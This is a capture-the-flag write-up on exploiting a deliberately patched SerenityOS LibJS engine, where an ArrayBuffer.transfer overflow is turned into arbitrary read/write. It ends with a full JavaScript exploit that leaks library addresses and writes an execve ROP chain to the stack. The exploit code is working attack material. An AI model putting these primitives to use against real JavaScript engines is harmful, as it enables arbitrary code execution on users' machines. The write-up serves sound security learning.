Night.js
The challenge features a Serenity OS LibJS exploitation problem.
We are given both a commit (799b465fac5672f167d6fec599fe167bce92862d
) and a patch:
diff --git a/./AK/ByteBuffer.h b/../patched-serenity/AK/ByteBuffer.h
index e2fc73bbfe..7bb7903e80 100644
--- a/./AK/ByteBuffer.h
+++ b/../patched-serenity/AK/ByteBuffer.h
@@ -104,7 +104,7 @@ public:
[[nodiscard]] u8& operator[](size_t i)
{
- VERIFY(i < m_size);
+ // VERIFY(i < m_size);
return data()[i];
}
diff --git a/./Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp b/../patched-serenity/Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
index 2f65f7b6ca..ee9a1ca00f 100644
--- a/./Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
+++ b/../patched-serenity/Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
@@ -80,10 +80,10 @@ void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const&
VERIFY(from_index + count <= from_size);
// 4. Let toSize be the number of bytes in toBlock.
- auto to_size = to_block.size();
+ // auto to_size = to_block.size();
// 5. Assert: toIndex + count ≤ toSize.
- VERIFY(to_index + count <= to_size);
+ // VERIFY(to_index + count <= to_size);
// 6. Repeat, while count > 0,
while (count > 0) {
@@ -215,6 +215,7 @@ ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer
// 10. Let copyLength be min(newByteLength, arrayBuffer.[[ArrayBufferByteLength]]).
auto copy_length = min(new_byte_length, array_buffer.byte_length());
+ if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();
// 11. Let fromBlock be arrayBuffer.[[ArrayBufferData]].
// 12. Let toBlock be newBuffer.[[ArrayBufferData]].
diff --git a/./Userland/Utilities/js.cpp b/../patched-serenity/Userland/Utilities/js.cpp
index 78fe2e699c..1dace537ab 100644
--- a/./Userland/Utilities/js.cpp
+++ b/../patched-serenity/Userland/Utilities/js.cpp
@@ -343,34 +343,34 @@ void ReplObject::initialize(JS::Realm& realm)
{
Base::initialize(realm);
- define_direct_property("global", this, JS::Attribute::Enumerable);
- u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
- define_native_function(realm, "exit", exit_interpreter, 0, attr);
- define_native_function(realm, "help", repl_help, 0, attr);
- define_native_function(realm, "save", save_to_file, 1, attr);
- define_native_function(realm, "loadINI", load_ini, 1, attr);
- define_native_function(realm, "loadJSON", load_json, 1, attr);
- define_native_function(realm, "print", print, 1, attr);
-
- define_native_accessor(
- realm,
- "_",
- [](JS::VM&) {
- return g_last_value.value();
- },
- [](JS::VM& vm) -> JS::ThrowCompletionOr<JS::Value> {
- auto& global_object = vm.get_global_object();
- VERIFY(is<ReplObject>(global_object));
- outln("Disable writing last value to '_'");
-
- // We must delete first otherwise this setter gets called recursively.
- TRY(global_object.internal_delete(JS::PropertyKey { "_" }));
-
- auto value = vm.argument(0);
- TRY(global_object.internal_set(JS::PropertyKey { "_" }, value, &global_object));
- return value;
- },
- attr);
+ // define_direct_property("global", this, JS::Attribute::Enumerable);
+ // u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
+ // define_native_function(realm, "exit", exit_interpreter, 0, attr);
+ // define_native_function(realm, "help", repl_help, 0, attr);
+ // define_native_function(realm, "save", save_to_file, 1, attr);
+ // define_native_function(realm, "loadINI", load_ini, 1, attr);
+ // define_native_function(realm, "loadJSON", load_json, 1, attr);
+ // define_native_function(realm, "print", print, 1, attr);
+
+ // define_native_accessor(
+ // realm,
+ // "_",
+ // [](JS::VM&) {
+ // return g_last_value.value();
+ // },
+ // [](JS::VM& vm) -> JS::ThrowCompletionOr<JS::Value> {
+ // auto& global_object = vm.get_global_object();
+ // VERIFY(is<ReplObject>(global_object));
+ // outln("Disable writing last value to '_'");
+
+ // // We must delete first otherwise this setter gets called recursively.
+ // TRY(global_object.internal_delete(JS::PropertyKey { "_" }));
+
+ // auto value = vm.argument(0);
+ // TRY(global_object.internal_set(JS::PropertyKey { "_" }, value, &global_object));
+ // return value;
+ // },
+ // attr);
}
JS_DEFINE_NATIVE_FUNCTION(ReplObject::save_to_file)
@@ -429,11 +429,11 @@ void ScriptObject::initialize(JS::Realm& realm)
{
Base::initialize(realm);
- define_direct_property("global", this, JS::Attribute::Enumerable);
- u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
- define_native_function(realm, "loadINI", load_ini, 1, attr);
- define_native_function(realm, "loadJSON", load_json, 1, attr);
- define_native_function(realm, "print", print, 1, attr);
+ // define_direct_property("global", this, JS::Attribute::Enumerable);
+ // u8 attr = JS::Attribute::Configurable | JS::Attribute::Writable | JS::Attribute::Enumerable;
+ // define_native_function(realm, "loadINI", load_ini, 1, attr);
+ // define_native_function(realm, "loadJSON", load_json, 1, attr);
+ // define_native_function(realm, "print", print, 1, attr);
}
JS_DEFINE_NATIVE_FUNCTION(ScriptObject::load_ini)
To build the binaries yourself:
git clone https://github.com/SerenityOS/serenity
git checkout 799b465fac5672f167d6fec599fe167bce92862d
patch -p1 < ../chall.patch
./Meta/serenity.sh run lagom js
Patch analysis
First, the second half of the patch seems to disable what are likely some built-in commands of the JS shell. We can safely ignore this. Sadly, there doesn’t seem to be features like %DebugPrint(x)
as in V8, making tracking allocated objects much more tedious.
Let’s now have a look at the important part:
- first, it disables a boundary check on the square bracket operator of the
ByteBuffer
class inByteBuffer.h
- then, it removes some checks on the
copy_data_block_bytes
function ofArrayBuffer.cpp
- finally, it adds a conditional that changes the
copy_length
in thearray_buffer_copy_and_detach
(still inArrayBuffer.cpp
)
Let’s have a look at these functions in details!
copy_data_block_bytes
The link to the ECMAScript documentation says:
The abstract operation CopyDataBlockBytes takes arguments toBlock (a Data Block or a Shared Data Block), toIndex (a non-negative integer), fromBlock (a Data Block or a Shared Data Block), fromIndex (a non-negative integer), and count (a non-negative integer) and returns unused.
Given the name and the arguments, we can assume that it is used to copy data from one ArrayBuffer
to another starting from and to a certain index.
The overall body of the function is the following:
// 6.2.9.3 CopyDataBlockBytes ( toBlock, toIndex, fromBlock, fromIndex, count ), https://tc39.es/ecma262/#sec-copydatablockbytes
void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const& from_block, u64 from_index, u64 count)
{
// 1. Assert: fromBlock and toBlock are distinct values.
VERIFY(&to_block != &from_block);
// 2. Let fromSize be the number of bytes in fromBlock.
auto from_size = from_block.size();
// 3. Assert: fromIndex + count ≤ fromSize.
VERIFY(from_index + count <= from_size);
// 4. Let toSize be the number of bytes in toBlock.
// auto to_size = to_block.size();
// 5. Assert: toIndex + count ≤ toSize.
// VERIFY(to_index + count <= to_size);
// 6. Repeat, while count > 0,
while (count > 0) {
// ii. Set toBlock[toIndex] to fromBlock[fromIndex].
to_block[to_index] = from_block[from_index];
// c. Set toIndex to toIndex + 1.
++to_index;
// d. Set fromIndex to fromIndex + 1.
++from_index;
// e. Set count to count - 1.
--count;
}
// 7. Return unused.
}
As we can see from the code, if the size of the toBlock
is smaller than count we have a controlled overflow! There’s a catch: this function is used internally, it is not exposed via JavaScript directly. We must first find a path.
array_buffer_copy_and_detach
The ECMAScript specification says:
The abstract operation ArrayBufferCopyAndDetach takes arguments arrayBuffer (an ECMAScript language value), newLength (an ECMAScript language value), and preserveResizability (preserve-resizability or fixed-length) and returns either a normal completion containing an ArrayBuffer or a throw completion.
The code is the following:
// 25.1.2.14 ArrayBufferCopyAndDetach ( arrayBuffer, newLength, preserveResizability ), https://tc39.es/proposal-arraybuffer-transfer/#sec-arraybuffer.prototype.transfertofixedlength
ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer& array_buffer, Value new_length, PreserveResizability)
{
auto& realm = *vm.current_realm();
// 1. Perform ? RequireInternalSlot(arrayBuffer, [[ArrayBufferData]]).
// FIXME: 2. If IsSharedArrayBuffer(arrayBuffer) is true, throw a TypeError exception.
// 3. If newLength is undefined, then
// a. Let newByteLength be arrayBuffer.[[ArrayBufferByteLength]].
// 4. Else,
// a. Let newByteLength be ? ToIndex(newLength).
auto new_byte_length = new_length.is_undefined() ? array_buffer.byte_length() : TRY(new_length.to_index(vm));
// 5. If IsDetachedBuffer(arrayBuffer) is true, throw a TypeError exception.
if (array_buffer.is_detached())
return vm.throw_completion<TypeError>(ErrorType::DetachedArrayBuffer);
// FIXME: 6. If preserveResizability is preserve-resizability and IsResizableArrayBuffer(arrayBuffer) is true, then
// a. Let newMaxByteLength be arrayBuffer.[[ArrayBufferMaxByteLength]].
// 7. Else,
// a. Let newMaxByteLength be empty.
// 8. If arrayBuffer.[[ArrayBufferDetachKey]] is not undefined, throw a TypeError exception.
if (!array_buffer.detach_key().is_undefined())
return vm.throw_completion<TypeError>(ErrorType::DetachKeyMismatch, array_buffer.detach_key(), js_undefined());
// 9. Let newBuffer be ? AllocateArrayBuffer(%ArrayBuffer%, newByteLength, FIXME: newMaxByteLength).
auto* new_buffer = TRY(allocate_array_buffer(vm, realm.intrinsics().array_buffer_constructor(), new_byte_length));
// 10. Let copyLength be min(newByteLength, arrayBuffer.[[ArrayBufferByteLength]]).
auto copy_length = min(new_byte_length, array_buffer.byte_length());
if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();
// 11. Let fromBlock be arrayBuffer.[[ArrayBufferData]].
// 12. Let toBlock be newBuffer.[[ArrayBufferData]].
// 13. Perform CopyDataBlockBytes(toBlock, 0, fromBlock, 0, copyLength).
// 14. NOTE: Neither creation of the new Data Block nor copying from the old Data Block are observable. Implementations may implement this method as a zero-copy move or a realloc.
copy_data_block_bytes(new_buffer->buffer(), 0, array_buffer.buffer(), 0, copy_length);
// 15. Perform ! DetachArrayBuffer(arrayBuffer).
TRY(detach_array_buffer(vm, array_buffer));
// 16. Return newBuffer.
return new_buffer;
}
Internally, we can see that it calls copy_data_block_bytes
. Moreover, the patch adds a easy-to-spot overflow by overwriting the copy_length
, which was previously the minimum between the two ArrayBuffer
sizes, with the size of the source ArrayBuffer
. Again, this function is not directly exposed!
By searching for its usages (or by scrolling a little bit further in the specification) we can see that there is a function defined on the prototype of ArrayBuffer
that basically directly calls array_buffer_copy_and_detach
: transfer
.
We can find its definition in ArrayBufferPrototype.cpp
:
// 25.1.5.5 ArrayBuffer.prototype.transfer ( [ newLength ] ), https://tc39.es/proposal-arraybuffer-transfer/#sec-arraybuffer.prototype.transfer
JS_DEFINE_NATIVE_FUNCTION(ArrayBufferPrototype::transfer)
{
// 1. Let O be the this value.
auto array_buffer_object = TRY(typed_this_value(vm));
// 2. Return ? ArrayBufferCopyAndDetach(O, newLength, preserve-resizability).
auto new_length = vm.argument(0);
return TRY(array_buffer_copy_and_detach(vm, array_buffer_object, new_length, PreserveResizability::PreserveResizability));
}
This function is defined as a native JS function and it simply calls (as per specification) the array_buffer_copy_and_detach
function.
Understanding the memory layout
We have now understood the bug and found a way to trigger it. With the following PoC we can cause a crash in the JS engine:
var buf = new ArrayBuffer(0x10000); // must be > 0x100 and multiple of 4
buf.transfer(0x50);
Depending on the heap layout, this likely gives us some sort of error, be it a corruption of the top chunk, some failing VERIFY
in the JS engine itself, or a simple SIGSEGV if running out of memory.
We’re still missing something though: how does an ArrayBuffer
and a ByteBuffer
interact? We can see that copy_data_block_bytes
is actually using ByteBuffer
s after all!
ArrayBuffer and ByteBuffer
This is the definition of the ArrayBuffer
class:
class ArrayBuffer : public Object {
JS_OBJECT(ArrayBuffer, Object);
// ... more code ...
size_t byte_length() const
{
if (is_detached())
return 0;
return buffer_impl().size();
}
// [[ArrayBufferData]]
ByteBuffer& buffer() { return buffer_impl(); }
ByteBuffer const& buffer() const { return buffer_impl(); }
// ... more code ...
Variant<Empty, ByteBuffer, ByteBuffer*> m_buffer;
// The various detach related members of ArrayBuffer are not used by any ECMA262 functionality,
// but are required to be available for the use of various harnesses like the Test262 test runner.
Value m_detach_key;
};
Ignoring a lot of details, we can see that an ArrayBuffer
is a JS_OBJECT
(defined in Object.h
and Cell.h
) which also carries a ByteBuffer
(and the detach status). We can also see that functions use the ByteBuffer
as the backing class for the data the ArrayBuffer
holds.
Let’s have a look at how ByteBuffer
is implemented (AK/ByteBuffer.h
):
template<size_t inline_capacity>
class ByteBuffer {
// ... more code ...
[[nodiscard]] u8& operator[](size_t i)
{
// VERIFY(i < m_size);
return data()[i];
}
// ... more code ...
union {
u8 m_inline_buffer[inline_capacity];
struct {
u8* m_outline_buffer;
size_t m_outline_capacity;
};
};
size_t m_size { 0 };
bool m_inline { true };
};
}
First, ByteBuffer
uses a C++ template that defines the inline capacity of the buffer itself. Looking at the definition, we can understand that an ArrayBuffer
either:
- holds the data it keeps inside the
ArrayBuffer
itself in them_inline_buffer
withm_inline = true
andm_size
with a size<= inline_capacity
, or - holds the data in the pointer
m_outline_buffer
and the size of the data inm_outline_capacity
The memory layout of a ByteBuffer
is therefore one of the following:
size <= inline_capacity size > inline_capacity
+---------------------+ +---------------------+
| .... | | buffer pointer |
| .... | +---------------------+
| inline buffer | | size |
| .... | +---------------------+
| .... | | .... |
+---------------------+ | padding |
| size | | .... |
+---------------------+ +---------------------+
| m_inline = 1 | | m_inline = 0 |
+---------------------+ +---------------------+
The following code:
> var buf = new ArrayBuffer(0x20);
> var uint32 = new Uint32Array(buf);
> uint32[0] = 0xdeadbeef;
> uint32[1] = 0xdeadbeef;
> uint32[2] = 0xdeadbeef;
> uint32[3] = 0xdeadbeef;
results in the following memory layout:
0x55555567c080: 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef <- m_inline_buffer
0x55555567c090: 0x0000000000000000 0x0000000000000000 <- m_inline_buffer + 0x10
0x55555567c0a0: 0x0000000000000020 0x0000000000000001 <- m_size, m_inline = true
0x55555567c0b0: 0x0000000000000001 0x7ffe000000000000 <- m_detach_key, undefined value
With GDB we noticed that the maximum inline_capacity
is 0x20.
On the other hand, allocating a much larger ArrayBuffer
, such as:
> var buf = new ArrayBuffer(0x100);
> var uint32 = new Uint32Array(buf);
> uint32[0] = 0xdeadbeef;
> uint32[1] = 0xdeadbeef;
> uint32[2] = 0xdeadbeef;
> uint32[3] = 0xdeadbeef;
>
results in the following memory layout:
0x55555567c300: 0x0000555555604340 0x0000000000000100 <- m_outline_buffer, m_outline_capacity
0x55555567c310: 0x0000000000000000 0x0000000000000000 <- unused
0x55555567c320: 0x0000000000000100 0x0000000000000000 <- m_size, m_inline = false
0x55555567c330: 0x0000000000000001 0x7ffe000000000000 <- m_detach_key, undefined value
Where the pointer m_outline_buffer
is a normally allocated chunk on the heap:
0x555555604330: 0x0000000000000000 0x0000000000000111 <- prevsize, size | PREV_INUSE
0x555555604340: 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef <- buffer data
0x555555604350: 0x0000000000000000 0x0000000000000000
0x555555604360: 0x0000000000000000 0x0000000000000000
0x555555604370: 0x0000000000000000 0x0000000000000000
...
Notes
A little side note: pointers to JS objects in Serenity OS are tagged. For example, 0x7ffe is BASE_TAG | UNDEFINED_TAG
, as we can see from Value.h
:
static constexpr u64 BASE_TAG = 0x7FF8;
static constexpr u64 UNDEFINED_TAG = 0b110 | BASE_TAG;
Another thing to notice is that the memory used to save the JS Object data is far (from tests, at least 4 pages) and comes before (lower address) than the memory used, for example, for the ByteBuffer
outline buffer. This may be due to the usage of Realms, which seems to segregate different objects in different parts of the heap.
Exploitation
Having understood the structures used by ArrayBuffer
we can now try to find a way to exploit the overflow that happens when using transfer
. We struggled for some hours trying to get an ArrayBuffer
JS Object below the buffer, so that we could corrupt some metadata. However, probably due to Realms, we failed (miserably).
At a later point, we noticed a crash when transferring to a small (size < inline_capacity
) ArrayBuffer
. The code leading to a crash looked like the following:
var buf = new ArrayBuffer(0x104); // size must be at least 0x104 to overflow
var uint32buf = new Uint32Array(buf);
uint32buf[0] = 0xdeadbeef;
buf.transfer(0x10);
Looking at the crash in GDB we see the following instruction crashing:
0x7ffff7a005e0 <JS::copy_data_block_bytes(AK::Detail::ByteBuffer<32ul>&, unsigned long, AK::Detail::ByteBuffer<32ul> const&, unsigned long, unsigned long)+80> mov byte ptr [r9 + r8], dl
This corresponds to one of the instructions used for this line of code:
► 106 to_block[to_index] = from_block[from_index];
It is crashing inside the copy_data_block_bytes
function. In particular, r9
contains the value 0xdeadbeef
and r8
the value 0x29. What??
Let’s look at the memory layout of the transferred ArrayBuffer
:
0x555555698200: 0x00000000deadbeef 0x0000000000000000 <- m_outline_buffer, m_outline_capacity
0x555555698210: 0x0000000000000000 0x0000000000000000 <- unused
0x555555698220: 0x0000000000000000 0x0000000000000000 <- m_size, m_inline = false
0x555555698230: 0x0000000000000001 0x7ffe000000000000
It looks like the ByteBuffer
does not have the m_inline
bool set. Didn’t we transfer to a small ArrayBuffer
though?
Well, as ArrayBuffer
s are initialized to zero, we have actually overwritten the m_inline
boolean. Therefore, when using the square bracket operator, the ByteBuffer
is not trying to write to the inline storage, but to the outline one! This could allow for arbitrary writes, with two issues: first, we don’t have any address (all protections are enabled, including ASLR), and second, this would force us to overwrite a rather large chunk of memory (at least 0x104 - 0x28).
At this point we knew we could do better and get an arbitrary read/write primitive. Exploitation took us a while even after this discovery. Eventually, we came up with a good primitive and an address leak (even though the address we leak is not a convenient one, as we will see).
To gain arbitrary read/write we used the following code:
var buf = new ArrayBuffer(0x104);
var buf32 = new Uint32Array(buf);
buf32[8] = 0xfffff0; // m_size
buf32[10] = 1; // m_inline
buf32[12] = 1; // m_detach_key
buf32[15] = 0x7ffe0000; // undefined
var pwn = buf.transfer(0x10);
var pwnview = new DataView(pwn);
var victim = new ArrayBuffer(0x10);
var victimview = new DataView(victim);
function arb_read(addr) {
pwnview.setFloat64(0x80, itof(addr), true);
pwnview.setInt32(0x88, 0xfff0, true);
pwnview.setInt32(0xa8, 0, true);
var ret = ftoi(victimview.getFloat64(0, true));
pwnview.setInt32(0xa8, 1, true);
return ret;
}
function arb_write(addr, data, len) {
for (let i = 0; i < len; i++) {
pwnview.setFloat64(0x80, itof(addr + BigInt(i * 8)), true);
pwnview.setInt32(0x88, 0xfff0, true);
pwnview.setInt32(0xa8, 0, true);
victimview.setFloat64(0, itof(data[i]), true);
}
pwnview.setInt32(0xa8, 1, true);
}
Let’s walk through this:
- first, we create an
ArrayBuffer
just big enough to trigger thetransfer
bug - then we set its memory so that, when copied,
m_size
is a big number,m_inline
is true, andm_detach_key
is true (as well as other metadata found after it to keep from corrupting stuff) - once done, we use transfer: with this, we have now gained a very big ArrayBuffer. In memory, it looks like the following:
0x56428f760480: 0x0000000000000000 0x0000000000000000 <- m_inline_buffer
0x56428f760490: 0x0000000000000000 0x0000000000000000 <- m_inline_buffer + 0x10
0x56428f7604a0: 0x0000000000fffff0 0x0000000000000001 <- m_size, m_inline = true
0x56428f7604b0: 0x0000000000000001 0x7ffe000000000000 <- m_detach_key = true, undefined
- we can now use this to leak addresses that come after this. Moreover, if we get an
ArrayBuffer
we control after this, we can overwrite itsm_outline_buffer
to gain arbitrary read/write! To do so, we just need to quickly allocate a victim ArrayBuffer to be used for our OOB reads/writes. - Finally, we implement
arb_read
andarb_write
: given the local OOB read/write on the pwnArrayBuffer
, we overwrite theByteBuffer
of the victim. In particular, we setm_outline_buffer
to the address we want to read/write, we additionally set the length to a big value, we clear them_inline
bool, and read/write the value we wanted. After doing this we also reset them_inline
bool to true: the JS shell was crashing when exiting as it was trying to free the victimByteBuffer
as if it was allocated (which doesn’t end well when the address you are trying to free is very far from the heap).
We now have arbitrary read/write! Now, we just need to gain control of rip
. As the challenge uses libc 2.38 we decided to simply ROP on the stack. First, though, we need to leak some addresses. In particular, we need to first leak libc, leak environ, and finally get to the return address!
The first leak we get is from the JS object of the victim ArrayBuffer
:
var lagos = ftoi(pwnview.getFloat64(64, true)) - BigInt(0xada8);
console.log("lagos-js: 0x" + lagos.toString(16));
This points somewhere in liblagom-js.so.0
. From there, we found a pointer to ld-linux-x86-64.so.2
. Through the auxiliary vector (auxv), we found a reference to _start
in the JS shell binary. From there, we leaked a GOT entry (exit’s one, which is already populated due to full RELRO) and got (got, get it?) the base of libc.so.6
. Finally, we leaked environ
and calculated the return address of main
. We tried spawning a shell (/bin/sh
), but that failed on remote for some reason. We were also provided a readflag
binary in the root, so we went with that. We first wrote on the stack /readflag
, and then we overwrote the return address with our simple ropchain (an execve or /readflag
, as calling system
would fail on remote).
The final script is the following:
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
// typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) {
// typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// Exploit
var buf = new ArrayBuffer(0x104);
var buf32 = new Uint32Array(buf);
buf32[8] = 0xfffff0; // m_size
buf32[10] = 1; // m_inline
buf32[12] = 1; // m_detach_key
buf32[15] = 0x7ffe0000; // undefined
var pwn = buf.transfer(0x10);
var pwnview = new DataView(pwn);
var victim = new ArrayBuffer(0x10);
var victimview = new DataView(victim);
var lagos = ftoi(pwnview.getFloat64(64, true)) - 0xada8n;
console.log("lagos-js: 0x" + lagos.toString(16));
function arb_read(addr) {
pwnview.setFloat64(0x80, itof(addr), true);
pwnview.setInt32(0x88, 0xfff0, true);
pwnview.setInt32(0xa8, 0, true);
var ret = ftoi(victimview.getFloat64(0, true));
pwnview.setInt32(0xa8, 1, true);
return ret;
}
function arb_write(addr, data, len) {
for (let i = 0; i < len; i++) {
pwnview.setFloat64(0x80, itof(addr + BigInt(i * 8)), true);
pwnview.setInt32(0x88, 0xfff0, true);
pwnview.setInt32(0xa8, 0, true);
victimview.setFloat64(0, itof(data[i]), true);
}
pwnview.setInt32(0xa8, 1, true);
}
var ld = arb_read(lagos + 0x26010n) - 0x150e0n;
console.log("ld: 0x" + ld.toString(16));
var exe = arb_read(ld + 0x38588n) - 0x7470n;
console.log("exe: 0x" + exe.toString(16));
var libc = arb_read(exe + 0x1be30n) - 0x45240n;
console.log("libc: 0x" + libc.toString(16));
var environ = arb_read(libc + 0x265258n);
console.log("environ: 0x" + environ.toString(16));
var readflag = [0x6165722fn + (0x616c6664n << 32n), 0x67n];
arb_write(environ, readflag, readflag.length);
var binsh = libc + 0x1c041bn;
var pop_rdi = libc + 0x028715n;
var system = libc + 0x055230n;
var ret = libc + 0x026a3en;
var pop_rsi = libc + 0x002a671n;
var pop_rdx_rbx = libc + 0x0093359n;
var pop_rax = libc + 0x0046663n;
var syscall = libc + 0x00942b6n;
var rop = [
ret,
pop_rdi,
environ,
pop_rsi,
0n,
pop_rdx_rbx,
0n,
0n,
pop_rax,
0x3bn,
syscall,
];
arb_write(environ - 0x128n, rop, rop.length);